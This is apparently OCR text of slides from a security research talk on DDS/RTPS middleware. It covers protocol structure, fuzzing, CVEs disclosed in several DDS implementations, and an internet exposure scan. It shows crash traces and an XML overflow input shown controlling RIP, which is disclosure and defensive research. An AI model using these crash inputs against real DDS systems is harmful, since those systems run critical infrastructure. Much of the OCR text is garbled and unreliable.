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What is DDS

=111 EH oo N=IN 5 paz
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What is DDS

&4

| Subscribing

Application DDS DDS Application

* fER] - MEZEREE  mMEAE
DDS Interoperability

° /\\\ZEEﬁ ? DDS , E— E?ﬁi¢$ Eﬁ_jr | = Sofélufrevvv P_ublisher " ‘Specification Library. H.Sof:c;./:re

Publishing Vendor C Vendor B

$tandard \ i ”s':;;d’:r'd‘ \
2 \. .DDSAP

Vendor A Subscribing
DDS Application
Library Software
. Java

Standard
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What is DDS

Publishing Vendor C Vendor B | Subscribing

Application DDS DDS Application

* ? _J tlil EIEJ"_; b/EE /J:HE/\
° /\\\ZEEﬁ ? DDS , E— Eﬁlfﬁ Eﬁ_jr | - Softwareiv P_ublisher . OD_SS_:;;Z;C%??:W Library. .Sofpt‘:;./:re

LIRS

tandar g L Standard

unsigned long index;

* 5%L?ﬁg I:JZI_E Schema
 IDL, & Protobuf N
° -I-ﬁ% /tl_\E E 1 984 EE E % iw;‘da;d"' ’vv/Java

string message;

g ExOne
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struct MewAliases

{

" int8 intB_;
What 1s DDS
int1l6 intl6_;
' uintl6 uintlé_;
int32 int32_;
uint32 wint32_;

int64 intG4_;

U‘E N = N @default(555) uintb6d uintbd_;
° fERI - MIZZEEEE  MEAME iatized str |
A /4B /BB /. /\\\ struct StringStruct ialized string local_string;

. REATDDS BEEBEMEEF I

1. | switch (wchar)

LargeStringStruct
long case_zero;

ing=41925= my_large_string;

e« JBRFEZEE]TE Schema
 IDL, & Protobuf { _
o 151‘ EE{_E 1984 Eitl'_ :i WStringStruct

S ring my_wstring;

. EEERENES

long case_one;

LargeWStringStruct
struct MyEnumStruct
{ ring=41925= my_large_wstring;
MyEnum my_enum;
i

struct MyBadEnumStruct
{

.. MyBadEnum my_enum; {g txonew
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What is DDS

e B MQTT  [EFFERN A&

+\ Data-Object b

" Identified by means
of the Topic

Identified by means
of the Topic

DataReader
blisher

DataWriter
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A y— NAV CANADA improves air traffic
BI1T 3= management with RTI platform

mber 2013 (Last Updated Sept er 8th, 2013 1¢

oy

NAV CANADA is set to improve its NAVCANtrac air traffic management (ATM) system with Real-Time
Innovations (RTI) Connext Data Distribution Service (DDS) middleware.

o EHIEEEFZE
T MY Iz LT 17
ANADA is set to improve its Top 5
A yy- — NAVCANTtrac air traffic management (ATM)
. MPIEEASK yiem i K i moraions (€T)
s )-l; E IS system with Real-Time Innovations (RTI) y

Connext Data Distribution Service (DDS)
middleware.
sz
L *7%% i% Et@, ;E — NAV Canada said that it selected the RTI
' = middleware platform after a successful
implementation of the evaluation stage in order to replace the first-generation ungroting
distribution architecture of its NAVCAI

PRORAIL

ProRail NAV

CANADA

Large Scale Rail Network Management System
e —

NAV CANADA uses DDS to run real-time traffic management in the world’s

C Ofl i g hf second busiest air space
Advanced Flight Data Processors Used in European Air Traffic Management .'g- txo n ew
L]
L]
L]

System
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*2zBlackBerry  QINIX

HEE - BEEGRE

PRODUCT BRIEF

QNX Platform for ADAS 2.0
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SELF-DRIVING CARSETH

INDUSTRY NEWS AND COMMUNITY
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Industry news & trends

Adlink, Foxconn team up for automated
driving system

A "h
' E:E:j ' Moderation Team
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GE Healthcare

Log in or register to post comments Last post
Sal, 05/08/2021 - 02:05

anotherChris What means this error message: ModulelD=6 Ermrcode=59

Hello,

This is with DDS Micro 2.4.11
| have this following error mesh

[15.700000000JERROR: ModulelD=6 Errcode=59 X=1 E=0 T=1 undefined/RTPSinterface.c:6927/RTPS_Interface_receive

| am not able to interpret what it means, can anybody explain the root cause and how to solve it 7

Thank you,
Chris

COrganization:
GE Healthears

23 txOne

networks



iy

14
2
4
@
12

-

e
n]

e

we
_ 2]

2 !

: A
o [ J



I EA=E




it BE1IR

« ZDDSHEREERZ - HMEE LI EIFE ?
o RMErERINERROEFM "R

TWINOAKS
rt' Your systems. s EPROSIMA COMPUT'NG&
A
S

he Middleware Experts

Working as one.

u

PRACTICAL MIDDLEWARE EXPERTISE

Networks

ADLINK C Gurum

EDGE COMPUTING

23 txOne

networks



DDSI-RTPS

3
| === | = = | s— —— = ==z} == ) ~—==} = = i ——=] == = = == I——] = = j=——1 =
| DDS-C++ DDS-JAVA DDS-IDL-C DDS-IDL-C#
< o o | | i ke St
o) > (@] = o —
§ O & - =) DDSv 1.4
=13 A E = v
212080 2| 2 | &
o 8 a 8

RTPS v2.2

SHARED-MEMORY

) XRne



RTPS

Header:
0...

* Layer-7

==
 [E|ZERI Preamble GuidPrefix guidPrefix
= Ll Et
e BElmFER GUID
v Real-Time Publish-Subscribe Wire Protocol
Magic: RTPS

[ J/\/{ TOpIC T"E%KE r }/FE;E N E/\Jéj\g?! v Protocol version: 2.2

major: 2
minor: 2

° '/L/FE;E 01, E—I-J/\/iﬁ%ﬂﬁl Partlclpant 5 vendorId: 01.15 (eProsima — Fast-RTPS)

guidPrefix: 010f7f014c0d00000a000000
H'—‘-‘ EIJ_-I_ hostId: @x010f7fol
( fﬁiln\ ) appld: 0x4c0deoee
instanceld: 0x0a000000
v Default port mapping: domainId=2, participantIdx=8, nature=UNICAST_METATRAFFIC
[domain_id: 2]

[participant_idx: 8]
[traffic_nature: UNICAST_METATRAFFIC (@)]

23 txOne
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SubmessageHeader:

RTPS

following are the
contents of Submessa

enum SubmessageKind {

@value (0x00)
@value (0x01)
@value (0x06)
@value (0x07)
@value (8x08)
@value (0x09)
@value (0x0c)
@value (0x0d)
@value (0x0e)
@value (0x0f)
@value (0x12)
@value (0x13)
@value (0x15)
@value (0x16)

RTPS_HE,
PAD,

ACKNACK
HEARTBEAT

GAP

INFO TS

INFO SRC

INFO REPLY IP4
INFO DST

INFO REPLY
NACK_FRAG
HEARTBEAT FRAG
DATA

DATA FRAG

/* HeaderExtension */
/* Pad */

/*
/*
/*
/-k
/-k
/*
/-k
/-k
/*
/*
/-k
/*

AckNack */
Heartbeat */

Gap */
InfoTimestamp */
InfoSource */
InfoReplylIp4d */
InfoDestination */
InfoReply */
NackFrag */
HeartbeatFrag */
Data */

DataFrag */

3 txOne
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RARKM RTPS Etrzs...

|###[ RTPS Protocel Version ]###
| major 2 L
| minor 1

‘wendorId

* Wireshark B - 1Bil ~AEEFRITE Scapy L [#4##[ RTPS Vendor ID 1

| wender_id = b"\x@1\x18' i
YguidPrefixy
— Lot e S ###[ RTPS GUID Prefix la##
o THZEHHNEA IS E AR I E I hostId = Bx57631001
| appId = Bxdbabdd7f

| instanceld= @x5bdSbblc

° E E%—ﬂﬂ ###[ RTPS Message ]##%

\submessagesy
|###[ RTPS INFO_DTS (@xbe) ]&4##
| submessageld= Bxe

##%[ PID_DEFAULT UNICAST_LOCATOR l4## | submessageFlags= Bx1 '\.
parameterId= @x31 | ectetsToMextHeader= 12
parameterLength= 24 | "-LguidPrE'f'i}:"-L
“locator % -
| locatorKind= 8x1000000 | | hostId = BxB82aleal
| port = 68349 | | appIld = Bx5d8co740
#a#[ P?gdgggiuu:nbﬁigé?Enmmn 14 | instanceld= @x78b62dc2
I - #4#[ RTPS INFO_TS (0x@9) ]###
parameterLength= 24 submessageld= @x9
R]-;;:‘ED;TPSRL " submessageFlags= E
ekl octetsToNextHeader= 8 |
I ;gi;’mmm:: ?EE}BBBEW ts_seconds= 1619087604 w
| address = 239.255.0.1 | ts_fraction= 475848817 E

sl rctworks



“For every lock, there is someone out there trying
to pick it or break in.”

-- David Bernstein
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Custom network-based fuzzer + aflpp + (unicorn+aflpp)
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B 58 R A5 ndl] Rl 5t

o EZ length, port, IP TR EZE &4

cvBErsECURTY @)
& INFRASTRUCTURE IIG

SECURITY AGENCY ‘1[]

+ i
o # :

1. EXECUTIVE SUMMARY

CvSSv3 8.6

ATTENTION: Exploitable remotely/low attack complexity

Vendors: Eclipse, eProsima, GurumNetworks, Object Computing, Inc. (OCI), Real-Time Innovations (RTI), TwinOaks Computing

Equipment: CycloneDDS, FastDDS, GurumDDS, OpenDDS, Connext DDS Professional, Connext DDS Secure, Connext DDS Micro, CoreDX DDS

Vulnerabilities: Write-what-where Condition, Improper Handling of Syntactically Invalid Structure, Network Amplification, Incorrect Calculation of Buffer Size, Heap-
based Buffer Overflow, Improper Handling of Length Parameter Inconsistency, Amplification, Stack-based Buffer Overflow

23 txOne
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PID METATRAFFIC_UNICAST LOCATOR

A Participant 5% - {REBIBWILE A DUE EX |

£ 4T ) TIX
/ =N -
¢ ;:\H\ji/ 2 iR

meaning

defaultUnicastLocator| Locator t[*] Default list of unicast locators
List (transport, address, port combinations)

that can be used to send messages to the
Endpoints contained in the Participant.
These are the unicast locators that will
be used in case the Endpoint does not
specify its own set of Locators.

23 txOne
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172.17- 172.17.0.3 INFO_TS, DATA(p)

| | INFO_DST, INFO TS, DATA(p)
INFO_DST, HEARTBEAT, HEARTBEAT, HEARTE
INFO_DST, ACKNACK, ACKNACK, ACKNACK
INFO_DST, HEARTBEAT, HEARTBEAT,
INFO_DST, HEARTBEAT, HEARTBEAT,
INFO_DST, HEARTBEAT, HEARTBEAT,

. INFO_DST, HEARTBEAT, HEARTBEAT,
.17.255.255 | 57621 — 57621 Len=44

INFO_DST, HEARTBEAT, HEARTBEAT,
INFO_DST, HEARTBEAT, HEARTBEAT,
INFO_DST, HEARTBEAT, HEARTBEAT,
INFO_DST, INFO_TS, DATA(p)
INFO_DST, HEARTBEAT, HEARTBEAT,

INFO_DST, ACKNACK, ACKNACK, ACKNACK

e.4
8.3
.B.3
.8.3
.0.3
8.3
8.3
.B.3
.0.1
8.3
8.3
.B0.3
.B.3
.0.3
8.3

23 txOne
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= K (2 57) I EE

it wireshark EX£1 8] - B BN EBED

(DDS)

Version 1.4

PaN —EE—1/'E EE =z B2 éﬁl} weed  DDS Security
/?/ = i o Version 1.1

jj — /—/— OMG Document Number: formal/2018-04-01
° JHZ &5 T8 %T & T i .
Fo = /S - me—
¢ -I- /tEﬁ tl:/n\ A'T;—E/l_:\ IP j\ji

Demo: https://github.com/the-dds/pocs

An OMG® Real-time Publish Subscribe Protocol DDS Interopersbility Wire Protocol (DDSIRTPS™)
ublication

N\
I
e=]11%
cd
il
kOid
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AMAVERGAIE : 18 bug TBFINE

 Preamble o] AR IFER " B |

if ((buff_.size() >= 4) && ACE_O0S::memcmp(buff_.rd_ptr(), "RTPS", 4) == 0) {
RTPS5: :Message message;

DCPS::Serializer ser(&buff_, encoding_plain_native);
Header header;
if (!(ser >> header)) {
ACE_ERROR( (LM_ERROR,
ACE_TEXT(" (%P |%t) ERROR: Spdp::SpdpTransport::handle_input() - ")
ACE_TEXT("failed to deserialize RTPS header for SPDP\n")));
return @;

while (buff_.length() > 3) {
const char subm = buff_.rd_ptr()[@8], flags = buff_.rd_ptr()[1];
ser.swap_bytes((flags & FLAG_E) !'= ACE_CDR_BYTE_ORDER);
const size_t start = buff_.length();
CORBA: :UShort submessagelLength = @;

switch (subm) { g tExOne

networks
case DATA: {



AMAVERGAIE : 18 bug TBFINE

. SEMTLAE gdb...

(gdb) bt

#0 OpenDDS::DCPS::Serializer::smemcpy (this=0x7ffc615e18a0, to=0x7ffc6l4dddco "w", from=0x612000000078 "\017", n=2) at DCPS/Serializer.cpp:374

#1 0x00000000004d3d1b in OpenDDS::DCPS::Serializer::doread (1 =0x7ffc615e18a0, dest=0x7ffc614dddco "w", size=2, swap=<optimized out>, offset=0)
#2 OpenDDS::DCPS::Serializer::buffer_read (1 =<optimized out>, dest=<optimized out>, size=<optimized out>, swap=<optimized out>) at /usr/local/
#3 0x00007fdfadd1439b in OpenDDS::DCPS::operator>> (s=..., x=@0x7ffc614dddco: 119) at DCPS/Serializer.inl:1173

#4 0x00007fdfal6edd2f in OpenDDS::DCPS::operator>> (out trm=..., Uni=...) at RtpsCoreTypeSupportImpl.cpp:11440

#5 0x00007fdfalédffl8 in OpenDDS::DCPS::operator>> (strm=..., Seg=...) at RtpsCoreTypeSupportImpl.cpp:8985

#6 0x00000000004d051f in main (argc=<optimized out>, argv=<optimized out>) at test.cpp:106

23 txOne
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BT - AEJEME

« AEEFDN @ WEFEHfEF—1% !

case SMID_DATA:
state = "parse:data";
{

struct nn_rsample_info sampleinfo;

unsigned char *datap;

uint32_t datasz = @;

size_t submsg_len = submsg_size;

/* valid_Data does not validate the payload */

if (!valid_Data (rst, &sm->data, submsg_size, byteswap, &sampleinfo, &datap, &datasz))
goto malformed;

/* This only decodes the payload when needed (possibly reducing the submsg size). #/

if (!decode_Data (rst—=gv, &sampleinfo, datap, datasz, &submsg_len))
goto malformed;

/* Set the sample bswap according to the payload info. */

if (!set_sampleinfo_bswap(&sampleinfo, (struct CDRHeader *)datap))
goto malformed;

sampleinfo.timestamp = timestamp;

sampleinfo. reception_timestamp = tnowWC;

handle_Data (rst, tnowE, rmsg, &sm—>data, submsg_len, &sampleinfo, datap, &deferred_wakeup, prev_smid);

rst_live = 1;

ts_for_latmeas = 0;

) g ExOne

break; networks



BT - AEJEME

« AEEFDN @ WEFEHfEF—1% !

nn_rtps_msg_state_t res = decode_rtps_message (tsl, gv, &rmsg, &hdr, &buff, &sz,
if (res != NN_RTPS_MSG_STATE_ERROR)
{

handle_submsg_sequence (tsl, gv, conn, &srcloc, ddsrt_time_wallclock (), ddsrt,

state_smkind = sm—>smhdr.submessageld;
switch (sm—->smhdr.submessageld)
{
case SMID_PAD:
GVTRACE ("PAD");

break;
case SMID_ACKNACK:
state = "parse:acknack";

if (!valid_AckNack (rst, &sm—=ackn:
goto malformed;

handle_AckNack (rst, tnowE, &sm—>a

ts_for_latmeas = 8;

break;
case SMID_HEARTBEAT:
state = "parse:heartbeat";

if (!valid_Heartbeat (&sm—>heartbe:
goto malformed;

handle_Heartbeat (rst, tnowE, rmsg,

ts_for_latmeas = 8;

break;
case SMID_GAP:
state = "parse:gap";

/* Gap 1s handled synchronously in
sometimes have to record a gap
first case by definition doesn'f
the second one avoids that beca
rst after inserting the gap in 1

if (!valid_Gap (&sm—=>gap, submsg_s:

goto malformed;

handle_Gap (rst, tnowE, rmsg, &sm-:

ts_for_latmeas = 8;

break;

case SMID_INFO_TS: 5

txO

network



unsigned char *s = AFL FUZZ TESTCASE BUF;
size t sz = (size t)  AFL FUZZ TESTCASE LEN;
while ( AFL LOOP(16000))

{
ACE Message Block *mb = new ACE Message Block (sz);

// do our own write to mb
ACE 05::memcpy(mb->wr ptr(), s, sz);
mb->wr ptr(sz);

// most code below stolen from Spdp.cpp

OpenDDS: :DCPS: :Serializer ser (mb, encoding plain native);
OpenDDS: :RTPS: :Header header;
if (!(ser => header)) {

return @; // this might be mutated by afl

f/ ACE 05::printf("%s\n", "fail deserialize");

}

%éa}
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@xml

<domain_participant name="MyPubParticipant"
domain_ref="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
@xml

<domain_participant name="CircleSubParticipant"
domain_ref="MyDomaiaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

'aaaaaaaabbbbbbbbcccceccecdddddddd’ part could overwrite memory addres

Program received signal SIGSEGV, Segmentation fault.

Ox00007fFff60991aa in RTIXMLObJect lockUpRef () from /home/trend/rticonnextdds-connector-py/rticonnextdds _conn
(gdb) x/s *((char **)environ)

0x6161616161616161: <error: Cannot access memory at address Ox6161616161616161>
(gdb) x/s *((char **)environ+l)

0x6262626262626262: <error: Cannot access memory at address Bx6262626262626262>
(gdb) x/s *((char **)environs+2)

Ox6363636363636363: <error: Cannot access memory at address Ox6363636363636363>
(gdb) x/s *((char **)environ+3)

OX6464040646406404064: <error: Cannot access memory at address 0x6464646464646464>
(gdb) x/s *((char **)environ+4)

Ox7fffffffeo0n: **

(gdb) x/s *((char **)environ+S)

Ox7fffffffeddd: “LC_MONETARY=1zh_TW"

(gdb) x/s *((char **)environ+6)

Ox7fffffffedfo: “XDG_GREETER_DATA_DIR=/var/lib/lightdn-data/trend”

(gdb) x/s *((char **)environ+7)

Ox7IIfffffe121: "SESSION=ubuntu®

(gdb) x/s *((char **)environ+8)

OX7IFFrfrfe130: “GPG_AGENT _INFOw«/home/trend/.gnupg/S.gpg-agent:0:1”°

(gdb) x/s *({(char **)environ+9)

Ox7FFFffffe162: "SHELL=/bin/bash”

(gdb) x/s *((char **)environ+10)

Ox7Tfffffffel72: "XDG_MENU_PREFIX=gnome-"

(gdb)

'bbbbbb' part could overwrite RIP

Program received signal SIGSEGV, Segmentation fault.

0x0000626262626262 in 22 ()
(gdb) bt

#0 0x0000626262626262 in 22 ()
#1 0x0000000000000000 in 22 ()

0x0 0
0x6161616161616161
oOx0 0
0x61 97
Ox7fffffffoe10
ox0 0
0x6161616161616161
Ox7fffffffai190e
0x0 0

ox0 0

0x0 0

ox0 0
0x6161616161616161
0x6161616161616161
0x6161616161616161
0x6161616161616161
0x626262626262
0x10202 [ IF RF ]
0x33 51

0x2b 43

oOx0 0

0x0 0

ox0 0

0x0 0

7016996765293437281

140737488330256

0x6161616161616161

Ox7fffffffa19o

7016996765293437281
7016996765293437281
7016996765293437281
7016996765293437281

0Xx626262626262

g tExOne
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A —

CVE CWE Notes Status
A - | CWE-406 | Network reflection
OMG (specs) : E;(ttﬁ]”gd specs to allowwhite- |0y i in DDSI-RTPS 2.5
RTI CVE202 | Patched in 2 6.1.0 Mitigated with patch
ConnextDDS 38487 -
OCl OpenDDS | V522 | Patched in = 3.18.1 Mitigated with patch
ADLINK CycloneDDS | el elleeily e @, beickeol Already mitigated
mechanism
GUrUmDDS _| Had alre_ady an exp. back-off Already mitigated (No reply, 5
mechanism times)
CVE-2021-

eProsima Fast-DDS

38425

Patched in master branch

Mitigated with patch

Twin Oaks CoreDX

Patchedin > 5.9.1

Mitigated with patch

“va=2 networks




! —
o

e — B

OCIl OpenDDS CVE-2021-38445 CWE-130 Failed assertion check

OCIl OpenDDS CVE-2021-38447 CWE-405 Resource exhaustion (slowloris)
RTIConnextDDS | CVE-2021-38435 CWE-131 Segmentation fault via network
GurumDDS CVE-2021-38423 CWE-131 Segmentation fault via network
GurumDDS CVE-2021-38439 CWE-122 Heap-overflow via network
GurumDDS CVE-2021-38437 CWE-1104 |Unmaintained, vulnerable XML lib.
CycloneDDS CVE-2021-38441 CWE-123 Heap-write primitive in XML parser
CycloneDDS CVE-2021-38443 CWE-228 8-bytes heap-write primitive
RTIConnextDDS | CVE-2021-38427 CWE-121 Stack-based overflow in XML parser
RTIConnextDDS | CVE-2021-38433 CWE-121 Stack-based overflow in XML parser

g ExOne
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- e

s'l-.ﬁ \lnl ZE :l: Eﬁi /\*ﬁ c@: 5500 00P0 4855 5503 e855 0040 5555 Eyk] U...@UU..U.@UU7U
\d

, 4 B , ll‘ll‘n\l\\n @ N ]J de: 5501 ffff ffff e8ld 2948 9703 cce® 0003 U....... 1: PR

e@: e@55 5562 5555 ffff ffeB8 1d29 4807 @3cc .UUbUU..... JH. ..
f@: 5555 ©1el 9101 9101 0101 @101 @101 1501 UlU....ivusaanasa
00: 9101 0191 91901 0101 0101 V101 ©101 V101 ....: vciesnsunana
° Resource exhaustlon In OpenDDS 18: 819l 2191 @181 9101 @edl 8101 @101 @101 ...:ieeanaasnnaas
20: 9101 o101 9101 2101 @101 9101 @101 V101 ..... vciesnaunana
30: 91@1 o101 9101 2101 @101 9101 @101 V101 ....:ivciesuvaunana

at /usr/local/src/opendds/ACE_wrappers/TAO/tao/Generic_Sequence_T.h:239

#5 0x00007fc3d7dee3e7 in TAO::unbounded_value_sequence<int>::length (this=0x7fff13410178, length=143164

8085) at /usr/local/src/opendds/ACE_wrappers/TAO/tao/Unbounded_Value_Sequence_T.h:62 t

#6 0x00007fc3d64261c@® in OpenDDS::DCPS::operator>> (strm=..., seq=...) at RtpsCoreTypeSupportlpl.cpp:1

977 “'
#7 ©0x00007fc3d643630a in OpenDDS::DCPS::operator>> (strm=..., stru=...) at RtpsCoreTypeSupportImpl.cpp:

2335 _.\.
#8 0x00007fc3d64f7750 in OpenDDS::DCPS::operator>> (outer_strm=..., uni=...) at RtpsCoreTypeSupportImpl

.CpPp:11836

#9 0x00007fc3d64e2f18 in OpenDDS::DCPS::operator>> (strm=..., seg=...) at RtpsCoreTypeSupportImpl.cpp:8

985

#10 0x00007fc3d66129bb in OpenDDS::DCPS::operator>> (strm=..., stru=...) at RtpsCoreTypeSupportImpl.cpp:

18452

#11 0x00000000004celc?7 in main (argc=<optimized out>, argv=<optimized out>) at test.cpp:79

w
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loc_95A8FF:

mow

lea

mow
call
Mo
Mo
mow

zub

mow

ris, [rsp+48htvar_48
rsi, [rsp+48h+var_
rdi, [rbx]

__INTERMAL

rl4,

rsi,

rl2, r

ri2, rsi
rdi, [rbp+2]
rdx, ﬂlz
_memcpy
[rbx], rl2
[rbp+e], rl2

eax, 2
ri3b, ril3b
short loc_95A145

vkl

@xml

Buffer overflow in XML parser in RTI Connext DDS

<domain_participant name="CircleSubParticipant"
domain_ref="MyDomaiaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

from /src/rticonnext/rticonnextdds—-connector-py/rt

b/x64Linux2.6gcc4.4.5/1lib
#1 @x6262626262626263 in
#2 ©x0@0OH26262626262 1in
#3 ©x0000000001521cc@® inm
#4 0Gx0000000001525440 in
#5 ©x0P00PPOOLP138d650 in
#6 ©x0PP0PEREO1Z2Z3e2l@ in

#7 ©Ox00087fb25cB3T12b in

£ - Fm miom Fomdr a o mmmmemird Fomd A mmemm et A~ T SR

rtiddsconnector.so

?? ()
?? ()
te ()
re ()
?? ()
?? ()
RTI_utf8_toUtf8 ()
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ICSA-21-315-02 Multiple Data Distribution Service (DDS) Implementations
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e A8 Aa B o AT

o IRTEZ {year} &£ - BEEE2BE A :
« Buffer Overflow (heap/stack)

« Falled assertion
« Qutdated dependencies

* IFETE 7 OMG RIFRE :

e TEARKH DDSI-RTPS C

« HREXKESDMEOS&S5T "4#Ex 1 DDSI-RTPS K{Z ]

= T
=N

- iG] e
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o Atmosphere
Oirbit

Ballistic missile — AT\
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DDS=

ENEMY

»_ 7 sed interceptor

mussne a3M-3 (Aegis ship)

% THAAD t'jii!r_!- » .__,../ ng :=_;.I|_|:'_i|5-:j

7
DDS
L

iile defense system :g l:xorlew

networks



IWEEIBIR #3

_— Atmaosphere
Oirbit

Ballistic missile

ENEMY 4

;}k_-,ﬂsed interceptor

_\ ne aM-3 (Aegis ship)
Mo

g ExOne

networks



BB EE M

 DDS fiIE fE:%7E Control Plane & - B3|~/ D R EFINERBL
e TEHF—EA DDS WAKT W N E—IxEENIKERIE RE

* DDS UMM EHEEORRMERTEI - wmaRd) - KRRBEBIRIE

=P XOne



DDS m g _ERIEE

Mg

nnnnnnnn



ZEH3FEB Internet {EH DDS ?

msock.on( 'message", (msg, rinfo) == {
if (rinfo.port === args.uport) {

(== 7 =
 DDS Z Layer 7 7 }
if (args.verbose) {
consale.log{ " mc from ${rinfo.address}:${rinfo.port} ${rinfo.size} B}

3 S pvicy i =AY
° /zﬁ ESZ%SI-EQ iur (let sendAddr of Object.keys(sendTo}} {

msock.send{msg, sendTo[sendAddr], sendAddr)

38 Internet £/ DDS HIH Z & }

})

* OCI| B Example Code - 1B :

Description: Insuffxcxent Hostname Verxfxcatlon
Info: https://snyk,io/vuln/SNYK-UPSTREAM-NODE~-570869
Introduced through: node@l0.15.0

From: node@19.15.0

Fixed in: 10.21.0

return

High severity vulnerabilaity found in node
Description: Memory Corruptlon

Info: https://snyk.io/vuln/SNYK-UPSTREAM-NODE-570870
Introduced through: node@l9.15.0

From: node@l9.15.0

Fixed in: 10.21.0

Package manager: deb

Project name: docker—image |objectcomputing/opendds
Docker image: objectcomputing/opendds: repeater
Platform: Linux/amd64

docker run --name=subscriber --rm --net=host -w fopt/OpenDD5/tests/DCPS/Messenger

Tested 218 dependencies for known vulnerabilities, found 427 vulnerabilities.
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The DDS Internet Scanner Project

Canada
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&1 DDS B9 Rh

o I8 )8 ATERE Listen Port
« Multicast Port = 7400 + 250 *d, d = 0..250
« Port oJRI#EIREY - INEZHENREIANSA (e.g. BolgE HTTPS £ 7400)

« REEFRIEEER Vendor ID BRI E
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o ZEFEFINY DDS BERD
« 2021/12:~350, 2022/8: ~170

ARG
AR

* FastRTPS (ROS2) (kEHR%

o HELEHXMEEEN/VETZS (>50%)
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* HMalEEZMEUERNTSF

BRENED - MEEEmERM "R MR Em
AXBRNED :
BIELIARINEEBES - BEMBEARIFLEES

« BEABEERMBMAA DK EIZRIARE
7 P95 1% ADLINK (ZZERR) B BAIEH

- FETMfE
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~
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S HR DDS FEREREET 75 - 18E

MRIBW AR - BRETERBRIEE

EPELTLER .
https://github.com/the-dds

- HERWE Upstream %l Scapy =%
o FMINER oss-fuzz WEEES
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https://github.com/the-dds

Questions?

* talun_yen@txone.com

* @evanslify
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